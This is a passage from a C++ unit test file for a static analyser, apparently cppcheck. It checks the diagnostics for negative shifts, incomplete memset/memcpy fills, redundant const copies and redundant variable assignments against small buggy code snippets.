[redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = 